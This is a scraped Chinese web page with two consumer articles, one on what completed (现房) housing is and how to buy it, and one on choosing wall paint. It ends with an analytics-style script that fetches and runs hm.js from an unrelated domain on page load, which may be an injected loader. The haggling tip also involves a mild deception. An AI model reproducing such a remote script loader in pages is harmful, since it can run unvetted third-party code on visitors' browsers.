现房是什么意思 怎样购买现房呢？

到底现房是什么意思呢?现房是指消费者在购买时已经达到交付标准，可以正式入住的物业。开发商已经办妥了所售房屋的大产权，在与消费者签订商品房买卖合同后，立即可以办理入住并取得产权证。所以，顾名思义，只有拥有房产证和土地使用证的房屋才能称之为现房。下面和小编一起来看看吧!很多人认为已经盖好的房子或者有人入住就是现房，其实不然。衡量一套房子是不是现房的唯一标准就是看它有不有房产证和土地使用证。而在购买现房时，也不必签订商品房买卖标准合同了，购买现房的优点是我们可以做到眼见为实，房屋的情况可以一清二楚。但是小编要提醒各位购房者，在购买时眼光可要敏锐点，千万不要心血来潮，买错了现房比买期房更容易让自己陷入被动。购买现房还有一些明显的优势，比如可以规避烂尾楼的风险，我们在购买之初可以通过技术手段检测及早发现房屋的质量是否可靠，买个放心。其次房屋的空间清楚可见，内外配套一目了然，不会出现被开发商的广告欺骗的状况。如果是清盘的楼盘，开发商一般都有比较大的优惠，所以对于购房者来说，在清盘期购买已呈现的房子，既安全又实惠。不过虽然现房有很多优点，我们在购买时也应该注意些特别的地方。首先是查看房屋的两证是否真实有效，再检查房屋内部情况。包括房顶是否漏水，渗水，墙上是否有裂缝，通水，防水是否做好，再仔细检查下房屋的装修是否都达到标准。而在购买时不要向对方表露出对此物业有好感，可以以自己虽然很满意，但是家里人好像不太赞同为理由，逼迫开发商降价。关于现房是什么意思大家应该有了一定的认识了吧。其实只要在生活中稍加注意就会很容易区分的。以上就是小编介绍，希望能够帮到你哦!

和大家探讨一下买油漆要注意什么

大家好，想必大家在新房装修时我们有好多问题把自己高的没有头绪，墙面漆，也就是我们所说的油漆。那么大家在买油漆要注意什么呢?油漆是个很敏感的话题，味大不大，多大的房子需要多少油漆，有没有甲醛超标，选什么颜色的好看都是问题，就这些问题我们做一个简单的探讨。买油漆要注意什么?油漆的品质是非常重要的应为它的品质主要奠基了这个产品的好与坏，如果品质不好的油漆刷出来会特别的不好看，色调也不会太好，在选购油漆的同时要注意不要买太黏稠的油漆应为太粘稠的油漆可能放置的时间太长质量已经发生了变化很有可能不能用，油漆在开启前要注意多摇一摇然后在开启，因为油漆放置时间长有部分沉淀所以必须得摇一下，要不会影响油漆发挥作用。买油漆要注意什么的就是甲醛对我们的危害，怎么才可以选择好的油漆，甲醛不会超标呐，建议大家一定要选择大品牌的油漆厂家，比较好一点，这些厂家生产的油漆一般都不会超标，虽然说价格可能会稍微贵一点但是为了家人的健康建议大家还是选择大厂家生产的油漆产品，这是买油漆要注意什么最重要的一点。建议大家在购买油漆的同时好是咨询一下卖家多大的房子需要多少油漆，在此就不和大家细说了，因为油漆的规格不一样，大小各一，所以先咨询在购买。然后大家在挑选油漆颜色的时候也要慎重，现在市场上好多油漆产品颜色各异，建议大家在购买时尽量一次性购买足够的一个品牌的油漆，这样刷出来的墙面颜色一致也不会有色差，如果购买的油漆量不够的话在去找那就比较麻烦了，有可能出现色调出现偏差的问题，这样可就影响了整面墙的美观。以上便是买油漆要注意什么，向大家做了简单的陈述，希望大家在选购油漆时可以采纳，应用。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();